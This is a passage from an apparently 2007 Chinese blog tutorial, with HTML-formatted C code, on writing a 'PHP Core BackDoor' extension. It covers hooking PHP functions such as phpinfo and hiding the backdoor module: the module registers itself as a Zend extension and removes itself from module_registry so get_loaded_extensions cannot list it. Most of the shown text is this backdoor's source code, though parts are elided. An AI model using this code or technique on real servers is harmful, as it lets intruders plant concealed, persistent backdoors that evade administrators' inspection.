#0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;hooked_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">新函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">PHP_FUNCTION(hooked_phpinfo)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;{{{&nbsp;PHP_MINIT_FUNCTION<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>PHP_MINIT_FUNCTION(wfwcbd)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;hook_fuctions();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>但是如果想要替换的是php内核的底层api,恐怕就需要使用到其他ring3 hook技术了.inline hook等.但幸好backdoor加载进php内核后和其他api是在同一进程上下文中的,所以查找函数地址也就比较方便.相信也不难实现,但是本文写作过程中并没有测试,有意的朋友可以自己尝试下.</p>
<p>隐藏:<br>这里所谓的隐藏并不是隐藏我们的文件,而是让我们的Backdoor module在php中不可见.具体做法是让我们的module注册为zend extension,而在module_registry中删除自身.这样get_loaded_extensions也就找不到我们模块的信息了.zend_extension结构体定义如下:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">struct&nbsp;_zend_extension&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">name;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">version;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">author;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">URL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">copyright;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;startup_func_t&nbsp;startup;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于MINIT</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;shutdown_func_t&nbsp;shutdown;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于MSHUTDOWN</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;activate_func_t&nbsp;activate;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于RINIT</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;deactivate_func_t&nbsp;deactivate;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于RSHUTDOWN</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;message_handler_func_t&nbsp;message_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_handler_func_t&nbsp;op_array_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;statement_handler_func_t&nbsp;statement_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;fcall_begin_handler_func_t&nbsp;fcall_begin_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;fcall_end_handler_func_t&nbsp;fcall_end_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_ctor_func_t&nbsp;op_array_ctor;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_dtor_func_t&nbsp;op_array_dtor;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">api_no_check)(int&nbsp;api_no);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved2;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved3;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved4;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved5;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved6;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved7;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved8;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;DL_HANDLE&nbsp;handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;resource_number;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>实现代码如下:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;"zend_extensions.h"</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_llist_position&nbsp;lp&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_ctor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_dtor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">old_startup)(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ze&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_module_startup(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_active(void);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_deactive(void);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_shutdown(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_startup_wrapper(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_extension&nbsp;wfw_zend_extension_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfw&nbsp;PHP&nbsp;Core&nbsp;BackDoor</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">http://www.phpweblog.net/GaRY</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">(C)&nbsp;Copyright&nbsp;2007</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_startup</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_shutdown</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_active</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_deactive</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_op_array_ctor</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_op_array_dtor</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;STANDARD_ZEND_EXTENSION_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;{{{&nbsp;wfw_functions[]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;*&nbsp;Every&nbsp;user&nbsp;visible&nbsp;function&nbsp;must&nbsp;have&nbsp;an&nbsp;entry&nbsp;in&nbsp;wfw_functions[].<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>zend_function_entry&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_FE(your_ext_function</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">}&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Must&nbsp;be&nbsp;the&nbsp;last&nbsp;line&nbsp;in&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;}}}&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>zend_module_entry&nbsp;phper_module_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">if&nbsp;ZEND_MODULE_API_NO&nbsp;&gt;=&nbsp;20010901</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_HEADER</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phper</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_MINIT(phper)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_MSHUTDOWN(phper),&nbsp;&nbsp;//同时我们这里也就不需要以下函数了.全部替换为NULL,用zend&nbsp;extension里的同功能函数代替</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_RINIT(phper),&nbsp;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_RSHUTDOWN(phper),&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_MINFO(phper),</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">if&nbsp;ZEND_MODULE_API_NO&nbsp;&gt;=&nbsp;20010901</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Replace&nbsp;with&nbsp;version&nbsp;number&nbsp;for&nbsp;your&nbsp;extension&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_ctor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_dtor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;op_array</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">reserved[wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_startup_wrapper(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ext)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;res;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php&nbsp;startup_wrapper\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;ze</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">startup&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;old_startup;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;res&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;old_startup(ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_startup(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;res;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_module_startup(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_module_entry&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">module_entry_ptr;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;resid;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php_startup\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">ifndef&nbsp;ZEND_ENGINE_2</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(wfw_functions</span><span 